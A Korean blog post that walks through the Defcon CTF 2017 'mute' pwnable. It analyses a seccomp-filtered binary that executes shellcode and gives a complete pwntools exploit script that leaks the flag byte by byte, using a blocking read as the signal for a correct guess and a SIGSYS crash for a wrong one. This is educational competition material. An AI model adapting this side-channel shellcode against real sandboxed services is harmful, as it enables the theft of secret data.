티스토리 뷰

CTF write-up

Defcon CTF 2017 mute [ pwnable ]

marshimaro aSiagaming 2017. 8. 1. 12:16

간단하게 짜여진 바이너리이면서 되게 재미있는 pwnable 문제였다.

쉘코드 작성에 있어서 능수능란함을 테스트하는 느낌이랄까...


우선 분석을 해보겠다.





메인함수이다.

직관적이고 굉장히 간단하다. 일단 열어서 확인을 하면 뭔가 갑자기 마음이 편해진다.

mmap을 통해 모든 권한( Read, Write, Exec )을 다 준 특정 영역을 생성한다.

그리고 stdout을 fflush로 비워주고 dropSyscalls()라는 함수를 부른다.

read를 통해 4096 byte만큼 읽어주며, mmap으로 할당해준 영역에 저장을 한다.

그리고 그 영역에 저장된 값을 실행한다. 





dropSyscalls()함수에서는 seccomp 라이브러리 함수를 사용한다.

seccomp_init을 통해 필터링리스트를 초기화시켜주고, seccomp_arch_add를 통해 Arch정보를 로드한다. ( x86_x64 )

그리고 addRule의 seccomp_rule_add함수를 통해 허용되는 syscall을 추가해준다.

허용되는 syscall들은 위의 주석처리된 것과 같다.

그리고 이 seccomp정보를 로드한다.


처음에 execve를 허용해주는 것을 보고, 그러면 그냥 /bin/sh shellcode로 쉘을 따면 되는게 아닌가? 라고 헛된 생각을 품었었다.

execve를 허용해주는데도 /bin/sh를 실행하는 쉘코드가 왜 실행이 안되는가??


execve("/bin/sh", ... );를 실행하는 테스트코드를 간단하게 만들고, strace로 어떤 system call을 요청하는지 따라가보았다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
root@ubuntu:/home/asiagaming/Desktop/binary_test# strace ./execve_test
execve("./execve_test", ["./execve_test"], [/* 70 vars */]) = 0
brk(NULL)                               = 0x15e9000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -10= 0x7fb4504bd000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=100588, ...}) = 0
mmap(NULL, 100588, PROT_READ, MAP_PRIVATE, 30= 0x7fb4504a4000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3"\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\t\2\0\0\0\0\0"..., 832= 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1868984, ...}) = 0
mmap(NULL, 3971488, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 30= 0x7fb44fed0000
mprotect(0x7fb4500900002097152, PROT_NONE) = 0
mmap(0x7fb45029000024576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 30x1c0000= 0x7fb450290000
mmap(0x7fb45029600014752, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -10= 0x7fb450296000
close(3)                                = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -10= 0x7fb4504a3000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -10= 0x7fb4504a2000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -10= 0x7fb4504a1000
arch_prctl(ARCH_SET_FS, 0x7fb4504a2700= 0
mprotect(0x7fb45029000016384, PROT_READ) = 0
mprotect(0x6000004096, PROT_READ)     = 0
mprotect(0x7fb4504bf0004096, PROT_READ) = 0
munmap(0x7fb4504a4000100588)          = 0
execve("/bin/sh", ["/bin/sh"], NULL)    = 0
brk(NULL)                               = 0x561fba68c000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -10= 0x7f035eecb000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=100588, ...}) = 0
mmap(NULL, 100588, PROT_READ, MAP_PRIVATE, 30= 0x7f035eeb2000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3"\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\t\2\0\0\0\0\0"..., 832= 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1868984, ...}) = 0
mmap(NULL, 3971488, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 30= 0x7f035e8de000
mprotect(0x7f035ea9e0002097152, PROT_NONE) = 0
mmap(0x7f035ec9e00024576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 30x1c0000= 0x7f035ec9e000
mmap(0x7f035eca400014752, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -10= 0x7f035eca4000
close(3)                                = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -10= 0x7f035eeb1000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -10= 0x7f035eeb0000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -10= 0x7f035eeaf000
arch_prctl(ARCH_SET_FS, 0x7f035eeb0700= 0
mprotect(0x7f035ec9e00016384, PROT_READ) = 0
mprotect(0x561fb94c00008192, PROT_READ) = 0
mprotect(0x7f035eecd0004096, PROT_READ) = 0
munmap(0x7f035eeb2000100588)          = 0
getuid()                                = 0
getgid()                                = 0
getpid()                                = 68733
rt_sigaction(SIGCHLD, {0x561fb92b4540, ~[RTMIN RT_1], SA_RESTORER, 0x7f035e9134b0}, NULL, 8= 0
geteuid()                               = 0
brk(NULL)                               = 0x561fba68c000
brk(0x561fba6ad000)                     = 0x561fba6ad000
getppid()                               = 68729
getcwd("/home/asiagaming/Desktop/binary_test"4096= 37
ioctl(0, TCGETS, {B38400 opost isig icanon echo ...}) = 0
ioctl(1, TCGETS, {B38400 opost isig icanon echo ...}) = 0
geteuid()                               = 0
getegid()                               = 0
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8= 0
rt_sigaction(SIGINT, {0x561fb92b4540, ~[RTMIN RT_1], SA_RESTORER, 0x7f035e9134b0}, NULL, 8= 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8= 0
rt_sigaction(SIGQUIT, {SIG_IGN, ~[RTMIN RT_1], SA_RESTORER, 0x7f035e9134b0}, NULL, 8= 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8= 0
rt_sigaction(SIGTERM, {SIG_IGN, ~[RTMIN RT_1], SA_RESTORER, 0x7f035e9134b0}, NULL, 8= 0
open("/dev/tty", O_RDWR)                = 3
fcntl(3, F_DUPFD, 10)                   = 10
close(3)                                = 0
fcntl(10, F_SETFD, FD_CLOEXEC)          = 0
ioctl(10, TIOCGPGRP, [68729])           = 0
getpgrp()                               = 68729
rt_sigaction(SIGTSTP, NULL, {SIG_DFL, [], 0}, 8= 0
rt_sigaction(SIGTSTP, {SIG_IGN, ~[RTMIN RT_1], SA_RESTORER, 0x7f035e9134b0}, NULL, 8= 0
rt_sigaction(SIGTTOU, NULL, {SIG_DFL, [], 0}, 8= 0
rt_sigaction(SIGTTOU, {SIG_IGN, ~[RTMIN RT_1], SA_RESTORER, 0x7f035e9134b0}, NULL, 8= 0
rt_sigaction(SIGTTIN, NULL, {SIG_DFL, [], 0}, 8= 0
rt_sigaction(SIGTTIN, {SIG_DFL, ~[RTMIN RT_1], SA_RESTORER, 0x7f035e9134b0}, NULL, 8= 0
setpgid(068733)                       = 0
ioctl(10, TIOCSPGRP, [68733])           = 0
wait4(-10x7ffc1c6ba65c, WNOHANG|WSTOPPED, NULL) = -1 ECHILD (No child processes)
write(2"# ", 2# )                       = 2
read(0, ls
"ls\n"8192)                   = 3
stat("/usr/local/sbin/ls"0x7ffc1c6ba620= -1 ENOENT (No such file or directory)
stat("/usr/local/bin/ls"0x7ffc1c6ba620= -1 ENOENT (No such file or directory)
stat("/usr/sbin/ls"0x7ffc1c6ba620)    = -1 ENOENT (No such file or directory)
stat("/usr/bin/ls"0x7ffc1c6ba620)     = -1 ENOENT (No such file or directory)
stat("/sbin/ls"0x7ffc1c6ba620)        = -1 ENOENT (No such file or directory)
stat("/bin/ls", {st_mode=S_IFREG|0755, st_size=126584, ...}) = 0
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f035eeb09d0= 69871
setpgid(6987169871)                   = 0
wait4(-1, execve_test  execve_test.c  peda-session-test.txt  test  test.c
[{WIFEXITED(s) && WEXITSTATUS(s) == 0}], WSTOPPED, NULL) = 69871
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=69871, si_uid=0, si_status=0, si_utime=0, si_stime=0---
rt_sigreturn({mask=[]})                 = 69871
ioctl(10, TIOCSPGRP, [68733])           = 0
wait4(-10x7ffc1c6ba65c, WNOHANG|WSTOPPED, NULL) = -1 ECHILD (No child processes)
write(2"# ", 2# )                       = 2
read(0
 
cs



우선, 이 바이너리의 seccomp설정은 white-list형식으로 되어있다.

그 말은 허용해주는 syscall을 설정해주고 허용해준 syscall외에는 전부 SIGSYS를 보여주며, abort시킨다.

위에서 보게되면, execve로  /bin/sh를 실행하였을 때, 다른 많은 허용되지않은 함수들이 사용되게 된다.

그래서 저건 사용을 할 수 없는 것이다.


그럼 어떤 식으로 방향을 잡아야할까?


write는 사용할 수 없지만, open와 read가 허용되어 있기때문에, flag를 읽어서 저장할 수는 있다.

그러면 ASCII range에서 문자 값을 하나씩 비교하는 식으로 풀이 방향을 잡아도 된다.


나같은 경우는, 1byte씩 비교해서 맞으면 read를 함수를 실행시켜 stdin을 받도록하고,

timeout을 설정하여 일정시간 이상이 걸리면 종료하도록 했다.


그리고 틀렷을 경우에는, 허용되지 않은 1번 write syscall을 요청하여, SIGSYS를 발생하도록 했다.


해당 기능을 하도록  shellcode를 만들어주면 되겠다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[+] Starting local process './mute': pid 60561
[*] Process './mute' stopped with exit code -31 (SIGSYS) (pid 60561)
[+] Starting local process './mute': pid 60583
[*] Process './mute' stopped with exit code -31 (SIGSYS) (pid 60583)
[+] Starting local process './mute': pid 60605
[*] Process './mute' stopped with exit code -31 (SIGSYS) (pid 60605)
[+] Starting local process './mute': pid 60627
[*] Process './mute' stopped with exit code -31 (SIGSYS) (pid 60627)
[+] Starting local process './mute': pid 60649
[*] Process './mute' stopped with exit code -31 (SIGSYS) (pid 60649)
[+] Starting local process './mute': pid 60671
[*] Process './mute' stopped with exit code -31 (SIGSYS) (pid 60671)
[+] Starting local process './mute': pid 60693
[*] Process './mute' stopped with exit code -31 (SIGSYS) (pid 60693)
[+] Starting local process './mute': pid 60715
[*] Process './mute' stopped with exit code -31 (SIGSYS) (pid 60715)
[+] Starting local process './mute': pid 60737
[*] Process './mute' stopped with exit code -31 (SIGSYS) (pid 60737)
[+] Starting local process './mute': pid 60759
[*] Process './mute' stopped with exit code -31 (SIGSYS) (pid 60759)
[+] Starting local process './mute': pid 60781
[*] Process './mute' stopped with exit code -31 (SIGSYS) (pid 60781)
[+] Starting local process './mute': pid 60803
[*] Process './mute' stopped with exit code -31 (SIGSYS) (pid 60803)
[+] Starting local process './mute': pid 60825
[*] Process './mute' stopped with exit code -31 (SIGSYS) (pid 60825)
[+] Starting local process './mute': pid 60847
[*] Process './mute' stopped with exit code -31 (SIGSYS) (pid 60847)
[+] The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa
 
cs


exploit code



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
 
context.binary = "./mute"
#context.log_level = "debug"
 
debug = False
flag = ''
prog = log.progress("Get flag.... ")
 
 
for i in xrange(200):
    for byte in xrange(32127):
 
        p = process(["./mute"])
        #log.warn("pid : " + str(proc.pidof(p)[0]))
        #pause()
    
        p.recvline()
 
        sc = asm(shellcraft.open("./flag"))
        sc += asm('''
                xor r14, r14
                xor r15, r15
                mov r15, rsp
                sub r15, 0x800
            ''')
        sc += asm(shellcraft.read("rax""r15"200))
        sc += asm('''
                xor rsi, rsi
                xor rdi, rdi
                mov sil, byte ptr [r15+'''+str(i)+''']
                mov dil, ''' + hex(byte) + '''
                cmp sil, dil
                je correct
                jmp wrong
                correct:
                mov rax, 0
                mov rdi, 1
                mov rsi, rsp
                mov rdx, 100
                syscall
                wrong:
                mov rax, 1
                mov rdi, 1
                mov rsi, rsp
                mov rdx, 100
                syscall
            ''')
        try:
            p.sendline(sc + "A" * (4096 - len(sc)))
            p.recv(timeout=0.5)
            flag += chr(byte)
            log.success(flag)
        except:
            p.close()
 
 
log.success(flag)
cs


'CTF write-up' 카테고리의 다른 글

BOB CTF megabox [ pwn 450pt ]  (0) 2017.08.11
HITCON CTF 2014 stkof [ 550pt ]  (3) 2017.08.05
Defcon CTF 2017 mute [ pwnable ]  (0) 2017.08.01
Defcon CTF 2017 badint [ pwnable ]  (0) 2017.07.30
Defcon CTF 2017 beatmeonthedl [ pwnable ]  (0) 2017.07.29
2016 BCTF bcloud [ exploitation 150 ]  (0) 2017.07.24
댓글
댓글쓰기 폼